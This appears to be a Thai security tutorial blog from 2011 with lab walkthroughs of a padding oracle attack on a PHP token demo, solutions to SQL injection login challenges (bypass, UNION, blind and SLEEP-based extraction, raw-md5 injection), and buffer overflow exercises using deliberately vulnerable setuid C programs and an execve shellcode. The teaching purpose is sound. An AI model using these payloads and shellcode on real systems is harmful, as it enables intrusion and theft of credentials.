Monday, January 24, 2011

Padding Oracle Attacks

วันนี้ผมขอเขียนเรื่อง Padding Oracle Attacks ก่อน (จริงๆ แล้วตั้งใจจะเขียนตั้งแต่เพิ่งเปิด blog) เรื่องนี้ไม่ได้เป็นเรื่องใหม่ แต่ผมเห็นว่าเป็นเรื่องที่น่าสนใจมาก เพราะเป็น cryptography attack ที่ใช้ความรู้เกี่ยวกับ cryptography ไม่เยอะ แต่มีผลกระทบกับ application framework หลายตัว เช่น JavaServer Faces (JSF), Ruby on rails, ASP.NET o.O

เทคนิคนี้ จริงๆแล้วได้มีการพูดถึงในงาน Eurocrypt 2002 โดย Serge Vaudenay โดยพูดถึงช่องโหว่เกี่ยวกับ CBC padding ของ encryption protocol ต่างๆ เช่น SSL, IPSEC, WTLS, SSH2 และเมื่อปี 2010 ที่ผ่านมา security researcher 2 คน คือ Joliano Rizzo กับ Thai Duong ได้นำเทคนิคนี้มาใช้อีกรอบ แต่เป็นการโจมตี web application โดยพูดในงาน Blackhat Europe 2010

เรามาเริ่มเนื้อหากันเลยดีกว่า เทคนิคนี้เป็นการโจมตีเมื่อใช้ encryption algorithm ที่ทำงานเป็น block ใน CBC mode ถ้าใครไม่รู้จัก CBC mode แนะนำให้หาอ่านก่อนนะครับ หรือไม่ก็ดูในบทความแรกที่ผมเขียน (CBC Bit Flipping) เผื่อจะทำให้เข้าใจ

เนื่องด้วย encryption algorithm เช่น DES, AES นั้นทำงานเป็น block ดังนั้นถ้าข้อมูลไม่ครบ block ก็จำเป็นต้อง pad ข้อมูลเข้าไปเพื่อที่จะเต็ม block แล้วทำการ encryption ได้ โดย padding scheme ที่นิยมใช้กัน จะเป็นแบบเดียวกับที่กล่าวใน PKCS#5, PKCS#7 หรือ RFC2630 (CMS) วิธีการ padding ก็คือเติมตัวเลขเท่าจำนวนที่ต้อง pad โดยต้อง pad อย่างน้อย 1 byte ตามตัวอย่างในรูป โดยสมมติว่าขนาดของ block คือ 8 bytes

เพื่อที่จะให้เข้าใจง่ายขึ้น ผมจึงได้เขียน php code ที่ใช้ run บน web server สำหรับสาธิตการทำงานของ attack นี้โดยจะมี code อยู่ 3 ไฟล์ (po_gen.php, po_check.php, po_inc.php) ไฟล์แรก po_gen.php ใช้สำหรับ encrypt ข้อมูลโดยใช้แทนการ login ที่เราใส่ username แล้วมีการส่ง token สำหรับการ request อื่นๆ และไฟล์ที่สอง po_check.php ซึ่งรับ token แล้วบอกว่าข้อความในนั้นคืออะไร ใช้แทนการตรวจสอบ token และไฟล์สุดท้าย po_inc.php เป็นไฟล์ที่ใช้ config ค่าต่างๆ สำหรับ encryption โดยผมได้กำหนดค่า IV เป็น fixed value เพื่อให้ค่าที่ผมแสดงตรงกับของทุกๆคน ซึ่งจริงๆแล้วควรเป็น random value (แก้ให้ random โดยเปลี่ยนค่า RANDOM_IV เป็น TRUE) และผมจะใช้ 3-DES ในการทำ encryption เพราะมี block size เป็น 8 bytes เขียนอธิบายได้ง่ายกว่า AES ที่มี block size เป็น 16 bytes (ถ้าใครอยากลองเป็น AES ก็แก้ค่า USE_3DES เป็น FALSE นะครับ)

สมมติว่าผมจะส่ง "user5" ไปที่ po_gen.php แล้วจะได้ encrypted data

$ curl "http://127.0.0.1/thtutz/po_gen.php?user=user5"
5f4649584544495621a7b2b00f85b47d

และถ้าผมส่ง encrypted data นี้ไปที่ po_check.php จะได้

$ curl "http://127.0.0.1/thtutz/po_check.php?user=5f4649584544495621a7b2b00f85b47d"
Data OK : user5

โดยมีค่าต่างๆในการทำ decryption ตามรูป

แต่ถ้าเราเปลี่ยน encrypted data โดยสมมติว่าเปลี่ยนค่าหลังสุดของ IV เป็น 00 จะได้

$ curl "http://127.0.0.1/thtutz/po_check.php?user=5f4649584544490021a7b2b00f85b47d"
Error: Invalid padding

โดยมีค่าต่างๆในการทำ decryption ตามรูป

จากรูปจะเห็นว่า byte สุดท้ายเป็น 0x55 ซึ่งทำให้เจอ error ขณะทำการตรวจสอบ padding

concept ของ padding oracle attack นี้คือส่ง encrypted data ไปที่ server เพื่อให้ server บอกว่า padding ของ encrypted data นี้ถูกต้องหรือไม่ โดยใช้ error message หรือ response ต่างๆ ที่สามารถแยกได้ว่า encrypted data นี้เมื่อ server decrypt แล้ว padding ถูกหรือไม่

จากรูปการ decryption จะเห็นว่าเรารู้ค่าของ Encrypted data และ IV เท่านั้น ส่วน Intermediary Value นั้น ปกติต้องมี Encryption Key เท่านั้นจึงจะหา Intermediary Value ออกมาได้ และส่วนที่สำคัญที่สุดของเทคนิคนี้ คือสามารถหา Intermediary Value ได้โดยไม่ต้องรู้ว่า Encryption Key คืออะไร

Padding Oracle Attack เพื่อ decrypt ข้อมูล

โดยปกติ เวลาเราได้ encrypted data มาจาก server เราไม่รู้ว่าข้างในนั้นเก็บข้อมูลในรูปแบบไหน ในส่วนนี้ผมจะอธิบายวิธีการ decrypt ข้อมูลโดยสมมติว่าเราไม่รู้ข้อมูลที่เป็น plaintext และมีการส่ง request ไปที่ po_check.php เท่านั้น

วิธีก็คือ (อยากให้คิดตาม เพราะถ้าเข้าใจ จะคิดเองได้เลย)
1. เปลี่ยนค่า IV เป็น 0x00 ให้หมด (จริงๆ คือเปลี่ยนเป็นอะไรก็ได้)
2. เริ่มจาก byte หลังสุดของ block และให้จำนวนที่ต้อง pad คือ 1 byte ดังนั้น plaintext ของ byte สุดท้ายต้องเป็น 0x01
3. เปลี่ยนค่า IV ไปเรื่อยๆ จนกว่า server ไม่บอกว่า "Error: Invalid padding"
4. เมื่อได้ค่า IV และ plaintext ของ byte ที่ทำงานอยู่ ทำให้สามารถหา Intermediary Value ของ byte นั้นได้โดยการทำ xor
5. หา plaintext ของ byte ที่ทำงานอยู่ จะได้ plaintext จากการนำ Intermediary Value มา xor กับค่า IV เดิม
6. เปลี่ยนเป็น byte ถัดไปจากข้างหลัง และเปลี่ยนจำนวนที่ต้อง pad เป็นค่าถัดไป จนกว่าจะครบ block
7. เปลี่ยน IV ของ byte หลังที่จะหา เป็น pad value ที่ถูกต้อง โดยนำ pad value ที่ต้องให้เป็นไป xor กับ Intermediary Value ที่หาได้ และไปทำที่ข้อ 3

อ่านวิธีอาจจะงง มาดูตัวอย่างกันดีกว่า เริ่มต้นที่เปลี่ยนค่า IV เป็น 0 ซึ่งจะได้ค่าต่างๆ ในการทำ decryption ตามรูป

จากนั้นเราก็ส่ง request ไปที่ po_check.php โดยเปลี่ยนค่า IV ไปเรื่อยๆ ดังนี้

$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000000021a7b2b00f85b47d"
Error: Invalid padding
$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000000121a7b2b00f85b47d"
Error: Invalid padding
$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000000221a7b2b00f85b47d"
Error: Invalid padding
...
$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000005421a7b2b00f85b47d"
Data OK : *5,*pGJ

ได้ค่า IV ของ byte สุดท้ายที่ทำให้ plaintext ออกมาเป็น 0x01 คือ 0x54 ทำให้ได้ Intermediary Value เป็น 0x01 ^ 0x54 = 0x55 ตามรูปข้างล่าง ซึ่ง plaintext ของ byte นี้ก็คือ 0x55 ^ 0x56 = 0x03

หลังจากนั้น ก็ทำ byte ถัดไป โดย padding value ต้องเป็น 0x02 จำนวน 2 bytes โดย IV ที่จะทำให้ค่า byte สุดท้ายของ block เป็น 0x02 คือ 0x02 ^ 0x55 = 0x57 และทำการส่ง request โดยเปลี่ยนค่า IV ตามนี้

$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000005721a7b2b00f85b47d"
Error: Invalid padding
$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000015721a7b2b00f85b47d"
Error: Invalid padding
...
$ curl "http://127.0.0.1/thtutz/po_check.php?user=000000000000485721a7b2b00f85b47d"
Data OK : *5,*pG

ได้ค่า IV ที่ทำให้ plaintext ออกมาเป็น 0x02 คือ 0x48 ทำให้ได้ Intermediary Value เป็น 0x02 ^ 0x48 = 0x4a ตามรูปข้างล่าง ซึ่ง plaintext ของ byte นี้ก็คือ 0x4a ^ 0x49 = 0x03

และทำแบบนี้ไปเรื่อยๆ จนครบทั้ง block จะได้ plaintext ออกมา ซึ่งผมได้เขียน code เป็น python (po_decrypt.php) สำหรับการ decrypt นี้ ซึ่งเมื่อ run จะได้ตามนี้ (ซึ่งอาจต้อง ip กับ url ใน code ก่อน run นะครับ)

$ python po_decrypt.py 8 5f4649584544495621a7b2b00f85b47d
text[7]:  
text[6]:  
text[5]:  
text[4]: 5
text[3]: r
text[2]: e
text[1]: s
text[0]: u
finished
Data: user5   

ที่ผมกล่าวไปนั้นเป็นการ decrypt ข้อมูลเพียงแค่ block เดียว สำหรับการ decrypt ข้อมูลหลายๆ block เรามาดูค่าต่างๆ ของการ decrypt ข้อมูลจำนวน 2 block กันก่อนดีกว่า

จากรูปจะเห็นว่า IV ของ block ถัดไปก็คือ encrypted data ของ block ก่อนหน้า ดังนั้นวิธีการ decrypt ในแต่ละ block จะเหมือนกัน เพียงแค่เปลี่ยนค่า IV กับ encrypted data ของ block นั้นๆ และถ้าข้อมูลมีจำนวน block เยอะๆ เราก็สามารถที่จะทำ หลายๆ block พร้อมกันได้

Padding Oracle Attack เพื่อ encrypt ข้อมูล

จากหัวข้อการ decryption จะเห็นว่าเราสามารถเทคนิคนี้หา Intermediary Value จาก encrypted data ใดๆ ได้ ดังนั้นวิธีการ encrypt ข้อมูลจำนวน 1 block ก็คือสุ่ม encrypted data แล้วหา Intermediary Value (โดยปกติเราจะต้องทำขั้นตอนของการ decryption ก่อน ดังนั้นเราสามารถหยิบ encrypted data กับ Intermediary Value จาก block ไหนก็ได้มา) หลังจากนั้นนำมา xor กับ plaintext เพื่อหาค่า IV (แค่นี้แหละครับครับ ง่ายมั้ย xD)

สำหรับกรณีที่มีหลายๆ block เราจะต้องทำการหาจาก block สุดท้ายก่อน แล้วนำ IV ที่ได้มาเป็น encrypted data ใน block ก่อนหน้า มาดูตัวอย่างกันดีกว่า สมมติว่าผมต้องการ encrypt คำว่า administrator โดยกำหนดให้ encrypted data ใน block สุดท้ายเป็น 0x01 0x02 ... 0x08 เริ่มต้นเราจะตั้งตารางเป็นดังนี้

จะเห็นว่า เราจะต้องจัดเรียงข้อมูลของเราให้ตรง block พร้อมทั้งมี padding ด้วย และทำการหา Intermediary Value กับ IV ของ Block ที่ 2 ซึ่งได้ผมตามรูป

เมื่อได้ค่า IV ใน block ที่ 2 ก็นำมาเป็น encrypted data ใน block ที่ 1 โดยผมได้เขียนโปรแกรมไว้แล้ว (po_encrypt.py) ซึ่งเมื่อ run จะได้ตามนี้

$ python po_encrypt.py 8 administrator
...
Encrypted Data (Hex): 8fde9c453db873f81498a22ea1caa3460102030405060708

จบแล้วนะครับ สำหรับ concept หลักของ Padding Oracle Attacks ทีเหลือคือการประยุกต์ใช้กับ application จริง ซึ่งไม่ง่ายเหมือนในตัวอย่างผมหรอกนะครับ แต่ถ้าเข้าใจตรงนี้แล้ว ผมว่าไม่ยากมากที่จะทำความเข้าใจกับ tool สำหรับเทคนิคนี้


Reference:
- http://netifera.com/research/poet/PaddingOracleBHEU10.pdf
- http://www.gdssecurity.com/l/b/2010/09/14/automated-padding-oracle-attacks-with-padbuster/

Tuesday, January 18, 2011

PHP Login กับ SQL Injection (เฉลย)

จากโจทย์ที่ผมตั้งไว้ ถึงเวลาเฉลยแล้ว ถ้าใครเพิ่งมาอ่าน หรือยังไม่ได้ทำ ผมอยากให้ลองทำก่อนดูเฉลยนะครับ

ก่อนจะเฉลย ผมขอพูดถึงการทำ sql injection นิดนึง การทำ sql injection นั้นก็คือการเหมือนกับว่า programmer ได้เขียนคำสั่ง SQL เริ่มต้นให้ (และอาจจะมีต่อท้ายให้ด้วย) สิ่งที่เราต้องทำคือเติมคำสั่ง SQL ให้มันถูกต้อง แต่เปลี่ยนความหมายของคำสั่ง เพื่อดึงเอาข้อมูลส่วนที่เราต้องการออกมา ดังนั้นสิ่งสำคัญในการทำ sql injection คือการเรียนรู้คำสั่ง SQL และ DBMS ต่างๆ เวลาอ่านเฉลยข้อไหนแล้วงงๆ ก็ให้ลองเปิดตัว MySQL client แล้วลองพิมพ์คำสั่ง SQL ที่จะถูกประมวลผลดู

ข้อ 1 อันนี้ถ้าใครลองทำตามตำราแบบง่ายสุดคือใส่ ' or '1'='1 ที่ username คงจะเจอกับ error ว่า "The number of rows is not 1" เนื่องจากผมมีการ check ว่าจำนวน row ที่ได้นั้นเท่ากับ 1 หรือไม่ ดังนั้นวิธีง่ายสุดของข้อนี้ ก็คือใช้ LIMIT ตามนี้ (ผมขอใช้ curl เพื่อประหยัดพื้นที่)

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli1.php?password=whatever&username='+or+1=1+LIMIT+1%23"
Congrats, WIN!!!

ข้อ 2 ข้อนี้จะเห็นว่าใน query มีใช้แค่ username แต่ผม และมีการเอา password มาเปรียบเทียบต่างหาก ซึ่งต่างจากข้อ1 ที่เวลาทำ sql injection ในข้อ1 นั้น สามารถทำให้การ check password นั้นเหมือนไม่มีได้

ปัญหาของข้อนี้ คือเราไม่รู้ว่า password ของ record ที่ query ออกมาจาก database นั้น password อะไร วิธีแก้ก็คือใช้ UNION SELECT เพื่อให้ได้ record ปลอมที่เราสร้างมาเอง เช่นใช้ "UNION SELECT 1,2,3" (ไม่มี quote) จะทำให้การ query ได้ record ที่มี id มีค่าเป็น 1, username มีค่าเป็น 2 และ password มีค่าเป็น 3

แต่เนื่องด้วยใน database นั้นการเก็บ md5 hash ของ password ดังนั้นสิ่งที่เราทำคือต้องการ md5 ของ password ที่เราจะปลอมด้วย ดังนั้นข้อนี้สามารถทำได้ตามนี้

D:\thtutz\challenge>php -r "echo md5('');"
d41d8cd98f00b204e9800998ecf8427e
D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli2.php?password=&username='+UNION+SELECT+1,2,'d41d8cd98f00b204e9800998ecf8427e'%23"
Congrats, WIN!!!

ข้อ 3 ข้อนี้สิ่งที่ผมต้องการให้ทำคือ blind sql injection เพื่อดึงข้อมูลออกมาจาก database ไม่ใช่ bypass login ถ้าใครสังเกต จะเห็นว่าผมใบ้ไว้แล้วว่า ไม่สามารถทำ sql injection ให้ php ไปทำงานที่บรรทัดที่ต้องการได้ พูดง่ายๆ ก็คือไม่สามารถทำ sql injection เพื่อ bypass หน้า login ที่เขียน code แบบนี้ได้ (ถ้าใครทำได้ช่วยบอกผมด้วย ผมทำไม่ได้)

ก่อนอื่นเราก็ต้องมานั่งคิดก่อน เราต้องการดึงอะไรออกมา สำหรับโจทย์ผมนั้นมันชัดเจนว่าต้องดึง username กับ password ออกมา เนื่องด้วย error ที่ออกมาจะมีค่าต่างกัน เราจึงสามารถใช้ประโยชน์จาก error นี้ได้ โดยวิธีการดึง id สามารถทำได้ตามนี้

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+id=1%23"
Invalid username or password

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+id=2%23"
Invalid username or password

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+id=3%23"
The number of rows is not 1

วิธีที่ผมใช้คือ พยายามทำ sql injection ให้ query ออกมาทีละ 1 row ถ้า id ที่ใส่ไปนั้นมีใน database ซึ่งจะเห็นว่า เมื่อใส่ id เป็น 3 (ไ่ม่มีใน database) error ที่ออกมาจะไม่เหมือนเมื่อใส่ id เป็น 1 หรือ 2

สำหรับการดึง username กับ password นั้น ถ้าเราทำแบบ id คือลอง password ทั้ง string นั้นโอกาสที่จะถูกน้อยมาก เพราะ password นั้นยาวมาก วิธีการคือการใช้ function SUBSTR() ของ MySQL ช่วย เพื่อที่จะเปรียบเทียบค่าทีละตัวอักษร อาจจะงง ดูตัวอย่างเลยดีกว่า โดยผมจะทำกับ id เท่ากับ 1

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+SUBSTR(password,1,1)='1'+AND+id=1%23"
The number of rows is not 1

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+SUBSTR(password,1,1)='2'+AND+id=1%23"
The number of rows is not 1

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+or+SUBSTR(password,1,1)='4'+AND+id=1%23"
Invalid username or password

จากข้างบน จะได้ว่า password hash ของตัวอัีกษรแรกคือ 4 ซึ่งจะเห็นว่าถ้าจะเอา password ออกมาต้อง request เยอะมาก ผมเลยเขียน python สำหรับ request หา password ของ user id 1 ไว้แล้ว (login_blind.py) ซึ่งถ้า run จะได้ผลตามนี้

D:\thtutz\challenge>login_blind.py
1: 4
2: 4
...
44a86b4e2c89f87be46c3ad9f24128dc

สำหรับการดึง username นั้นผมขอให้เขียนเองนะครับ แค่เปลี่ยน charsets และต้อง check ด้วยว่าจบ string หรือยัง ด้วยการเปรียบกับ empty string ('') และเมื่อได้ข้อมูลมาทุกอย่าง เราก็ต้องทำการ crack md5 ซึ่งจะได้ password ออกมาเป็น tooeasy และเอาไป login

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=tooeasy&username=admin"
Impossible to be here with SQL injection
Congrats, WIN!!!

จริงๆแล้ว ข้อนี้ผมตั้งโจทย์ผิด ตั้งใจจะให้ทำ totally blind sql injection แต่ดันทำให้ error มันต่างกัน ผมเลยขออธิบายวิธีทำ sql injection เมื่อ error มันเหมือนกันตลอดด้วย โดยสมมติว่าถ้ามี error อะไรก็แสดงแต่ "Invalid username or password"

ถ้า error เหมือนกัน เราไม่สามารถใช้วิธีข้างบนได้ วิธีที่จะใช้คือ"เวลา" ถ้าสิ่งที่เราต้องการเปรียบเทียบถูกก็ให้ return ค่ากลับมาช้าๆ ถ้าผิดก็ return ทันที โดยการที่ทำให้ MySQL return ค่ากลับมาช้าๆ นั้นสามารถใช้ SLEEP() ตามตัวอย่างต่อไปนี้

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+UNION+SELECT+IF(id=1,SLEEP(5),1),2,3+FROM+members+WHERE+id=1%23"
Invalid username or password     <=== ใช้เวลาอย่างน้อย 5 วินาที

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli3.php?password=&username='+UNION+SELECT+IF(id=3,SLEEP(5),1),2,3+FROM+members+WHERE+id=3%23"
The number of rows is not 1

ถ้าใครลองทำตาม จะเห็นว่า request แรก ต้องใช้เวลาอย่างน้อย 5 วินาทีถึงจะได้ response แต่ใน request ที่สองจะได้กลับมาทันที วิธีการนี้จะมี reliable ต่ำกว่าการใช้ error เพราะ server อาจจะยุ่งอยู่ และ network มี latency หรือ round trip time ไม่แน่นอน ทำให้เราได้ response ช้า ทั้งๆที่น่าจะได้ response กลับมาทันที วิธีแก้ก็คือใส่ SLEEP() ให้เยอะหน่อย

สำหรับการดึง password ก็ใช้หลักการเดียวกัน โดยผมเขียนเป็น python code แล้ว (login_total_blind.py) ซึ่งถ้า run จะได้ผลเหมือนข้างบน แต่ใช้เวลามากกว่า ส่วนการดึง username ผมขอให้เขียนเองนะครับ

Note: SLEEP() มีใน MySQL() ตั้งแต่ version 5.0.12 ถ้า version ต่ำกว่า 5.0.12 ต้องใช้ BENCHMARK() (ดูตัวอย่างได้ใน code python ผม โดน comment ไว้อยู่)


ข้อ 4 ปัญหาของข้อนี้ คือการนำ raw md5 ไป query โดยไม่มีการ escape ก่อน สิ่งที่เราต้องทำก็คือ หาค่าที่เมื่อทำ md5 แล้วได้ค่าประมาณ "or 1=1#" เพื่อให้ SQL query ออกมามี row มากกว่า 0

ข้อจำกัดของข้อนี้คือ raw md5 มีขนาด 16 bytes ดังนั้นคำสั่งที่เราต้องการจะต้องมีความยาวไม่เกิน 16 ตัวอักษร แต่เพื่อที่จะโอกาสที่จะหาค่าของ md5 ที่ต้องการเจอ เราต้องทำให้สิ่งที่เราต้องการสั้นที่สุดเท่าที่จะสั้นได้ เรามาลองคำสั่ง SQL (ใน MySQL client) รูปแบบต่างๆ ที่ทำให้การ query ออกมาอย่างน้อย 1 row กันก่อนดีกว่า แล้วค่อยอธิบาย (ให้สังเกตด้วยนะครับผมใช้ double quote ไม่ใช่ single quote)

mysql> use thtutz;
Database changed
mysql> select * from members where password="" or 1=1;#"
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | 44a86b4e2c89f87be46c3ad9f24128dc |
|  2 | junk     | invalid_hash                     |
+----+----------+----------------------------------+
2 rows in set (0.13 sec)

mysql> select * from members where password="" or 1;#"
... # ขอละ ผลลัพธ์เหมือนเดิม
mysql> select * from members where password=""||1;#"
... # ขอละ ผลลัพธ์เหมือนเดิม
mysql> select * from members where password="s"||"2gff"; # วิธีของทีม Kernel Sanders
... # ขอละ ผลลัพธ์เหมือนเดิม
mysql> select * from members where password="s"||"gff";
Empty set, 1 warning (0.00 sec)

mysql> select * from members where password="s"="v"; # วิธีของทีม Nibbles
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | 44a86b4e2c89f87be46c3ad9f24128dc |
|  2 | junk     | invalid_hash                     |
+----+----------+----------------------------------+
2 rows in set, 2 warnings (0.00 sec)

มาเริ่มกันที่ query แรก คือแบบที่ใช้กันทั่วไป ต้องใช้ถึง 9 ตัวอักษร (" or 1=1#) ต่อมา query ที่สอง หลังจากการอ่าน MySQL document ผมเจอว่า MySQL นั้นจะถือตัวเลขที่ไม่ใช่ 0 เป็น true ดังนั้นแทนที่เราจะใช้ 1=1 เหลือใช้เพียงตัวเลขอะไรก็ได้ที่ไม่ใช่ 0 ก็จะต้องใช้ 7 ตัวอักษร (" or 1#)

ส่วน query ที่สามเป็นวิธีที่ผมใช้เพื่อแก้โจทย์นี้ จาก document อีกเช่นกัน MySQL สามารถใช้ || แทน or ได้ โดยเมื่อใช้ || แล้วไม่จำเป็นต้องมีช่องว่าง ทำให้ต้องใช้ 5 ตัวอักษร ("||1#) และเมื่อเขียน code โดยใช้ md5 จาก openssl จะได้ login_md5raw_1.c (compile กันเอาเองนะครับ อย่าลืม link กับ openssl ด้วย) ซึ่งของผมใช้เวลานานกว่า 30 นาที เมื่อผมเปลี่ยนโจทย์ให้ใช้ double quote (ผมไม่อยากรอ ไว้ดูของคนอื่นดีกว่า)

ใน code ของผม จะทำการ brute force ค่า binary ทุกค่าเนื่องจากการ request สามารถรับข้อมูลที่เป็น binary ได้ โดยทำการ request ไว้ดูในวิธีสุดท้ายทีเดียวเลยละักัน

ส่วน query ที่สี่นั้นเป็นวิธีของทีม Kernel Sanders โดยใช้หลักที่ว่า string ที่ขึ้นด้วยตัวเลขที่ไม่ใช่ 0 MySQL ถือว่าเป็น true และเพื่อให้ search หาได้เร็วขึ้นก็จะ search เพียงแค่ "||" แล้วค่อย check ตัวถัดไป โดย code ที่ดัดแปลงจากของผมคือ login_md5raw_2.c ซึ่งวิธีนี้ code ของผมก็ run นาน เมื่อเปลี่ยนมาใช้ double quote
Note: ทีม Kernel Sanders หาโดยใช้ตัวเลขอย่างเดียว ได้ผลลัพธ์คือ 129581926211651571912466741651878684928 (สำหรับ single quote ถ้าใครไปลองก็จะไม่ถูก)

ส่วน query สุดท้ายนั้นเป็นวิธีของทีม Nibbles เป็นวิธีที่สั้นที่สุด โดยเงื่อนไข where จะเป็น password="a"="z" ซึ่ง MySQL จะ parse เป็น (password="a")="z" ทำให้เป็น false="z" และเป็น false=false ซึ่งผลลัพธ์สุดท้ายกลายเป็น true แต่ string สุดท้ายต้องไม่ขึ้นต้นด้วยตัวเลข ซึ่งเมื่อผมเอามาใช้ใน code ผมคือ login_md5raw_3.c ซึ่ง run ไม่ถึงวินาที จะได้ผลลัพธ์คือ %ac%d6%04 และ python code ที่ผมเอามาจากทีม Nibbles โดยแก้ให้เป็นสำหรับ double quote (login_md5raw_3.py) โดยเป็นตัวเลขอย่างเดียวจาก python จะได้ 1319 โดยนำมา request ได้ตามนี้

password: acd604
password: %ac%d6%04
result: 223d0c22570c581b84a9301adad18739
result: "= "W X „ฉ0 ฺั‡9
D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli4.php?password=%ac%d6%04"
Congrats, WIN!!!

D:\thtutz\challenge>curl "http://127.0.0.1/thtutz/login_sqli4.php?password=1319"
Congrats, WIN!!!

Note: ทีม Nibbles หาโดยใช้ตัวเลขอย่างเดียว ได้ผลลัพธ์คือ 1839431 (สำหรับ single quote ถ้าใครไปลองก็จะไม่ถูก)


สรุป

สิ่งที่ผมอยากจะให้เห็นการทำ sql injection จากโจทย์พวกนี้ โดยเฉพาะข้อ 3 กับ 4 คือ
- sql injection มันมีได้หลายรูปแบบ ในหลายๆครั้ง ต้องมีการดัดแปลง ดังนั้นสิ่งสำคัญคือต้องรู้ SQL แล้วนำไปประยุกต์ใช้เป็น
- ถ้า code มีปัญหาเรื่อง sql injection ส่วนมากก็จะทำ sql injection ได้ อย่างเช่นในข้อ 3 ถึงแม้จะมีการดักไว้ว่า username ที่ดึงมาจาก database ต้องตรงกับที่ใส่มา เราก็ใช้วิธี blind sql injection เพื่อดึงข้อมูลออกมาแทนได้
- อันนี้สำหรับ programmer คือถ้าเรามีการแปลง (transform) ข้อมูลก่อนที่จะนำเข้า database เช่นในข้อ 4 ให้ถือว่าเป็นข้อมูลที่ยังไม่ได้ตรวจสอบ (untrusted input) อาจจะมีอันตรายได้
- input ที่ใส่ไม่จำเป็นต้องเป็นตัวอักษรที่อ่านออกได้ ดังเวลาที่เขียน code หรือจะทำ sql injection ก็ควรที่จะคิดถึงข้อมูลประเภทนี้ด้วย
- โปรแกรมอาจจะใช้ double quote ใน SQL query เช่นในโจทย์ข้อ 4 ดังนั้นเวลาทำ sql injection ควรลองทดสอบทั้ง single quote และ double quote

Sunday, January 9, 2011

Buffer Overflow ให้โปรแกรม spawn shell (โจทย์)

หลังจากทำไป 2 แบบฝึกหัด ผมยังมีโจทย์ให้อีก 2 โจทย์ โดยไม่มีเฉลยนะครับ (ยังไงผมก็ไม่เฉลยนะ) ถ้าทำไม่ได้ แสดงว่ายังไม่เข้าใจเรื่องนี้จริงๆ

ข้อ1 (ex_06_5.c) ข้อนี้น่าจะทำได้ คล้ายๆกับแบบฝึกหัดเลย แต่อยากให้ลองใช้ gdb ดูตำแหน่งของตัวแปรต่างๆ ใน stack ด้วย

/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_06_5 ex_06_5.c
sudo su -c "chown root: ex_06_5;chmod 4755 ex_06_5"
*/
#include <stdio.h>
#include <string.h>

#define MAX_CPY 530

void vuln(char *d, char *s)
{
  unsigned long n = MAX_CPY;
  strncpy(d, s, n);
}

int main(int argc, char **argv)
{
  int i = 0;
  char c = 1;
  short s = -1;
  char buf[1];
  
  vuln(buf, argv[1]);

  return 0;
}

ข้อ2 (ex_06_6.c) ข้อนี้ต้องใช้ความรู้ Linux นิดหน่อย ถ้าใครเคยทำตามที่ผมให้ลอง คงไม่มีอะไรยาก

/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_06_6 ex_06_6.c
sudo su -c "chown root: ex_06_6;chmod 4755 ex_06_6"
*/
#include <stdio.h>
#include <string.h>

#define MAX_CPY 24

int main(int argc, char **argv)
{
  char buf[1];

  strncpy(buf, argv[1], MAX_CPY);

  return 0;
}

สำหรับข้อ2 ผมมี Hint ให้ สำหรับคนที่ลองทำแล้วทำไม่ได้จริงๆ เพียงแค่ drag mouse คลุมบรรทัดข้างล่าง
Hint: ใช้ env หรือ argv ช่วย

Saturday, January 8, 2011

Buffer Overflow ให้โปรแกรม spawn shell (แบบฝึกหัด 2)

มาทำกันอีกซักแบบฝึกหัด ครั้งนี้ผมใช้ sscanf ในการรับค่าจาก argv[1] ลองทำก่อนอ่านเฉลยนะครับ

แบบฝึกหัด2 (ex_06_4.c)

/*
gcc -fno-pie -fno-stack-protector -z norelro -z execstack -o ex_06_4 ex_06_4.c
sudo su -c "chown root: ex_06_4;chmod 4755 ex_06_4"
*/
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buf[7];

  sscanf(argv[1], "%s", buf);

  return 0;
}

ในแบบฝึกหัดนี้ ให้ใช้ shellcode สำหรับ execve อันนี้นะครับ

# execve("/bin/sh", { "/bin/sh", NULL }, NULL) 26 bytes
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x99\x52\x53\x89\xe1\xb0\x7b\x34\x70\xcd\x80"

เฉลย

จาก code น่าจะเห็นกันแล้วว่า buf มีขนาดแค่ 7 bytes เล็กอย่างนี้แล้วเราจะใส่ shellcode เข้าไปได้ไง???

สังเกตในแบบฝึกหัดที่1 มั้ยครับว่า ผมเขียนข้อมูลเกิน saved eip ไปด้วย สิ่งที่ผมอยากให้เห็นในแบบฝึกหัดนี้คือ นอกจากเราจะเขียน shellcode ใน buf เรายังสามารถเขียนไว้หลัง saved eip ด้วย ดังนั้นแทนที่เราจะหา address ของ buf ที่เป็นจุดเริ่มของ shellcode แล้ว เราก็ต้องหา address ถัดจาก address ที่เก็บ saved eip

ก่อนอื่น เรามา gdb หา address ของ saved eip กัน :)

$ gdb -q ./ex_06_4
Reading symbols from /home/worawit/tutz/ch06/ex_06_4...(no debugging symbols found)...done.
(gdb) disas main
... # ขอละ
   0x080483fa <+22>:    lea    0x19(%esp),%ecx  # buf อยู่ที่ address esp+0x19
   0x080483fe <+26>:    mov    %ecx,0x8(%esp)
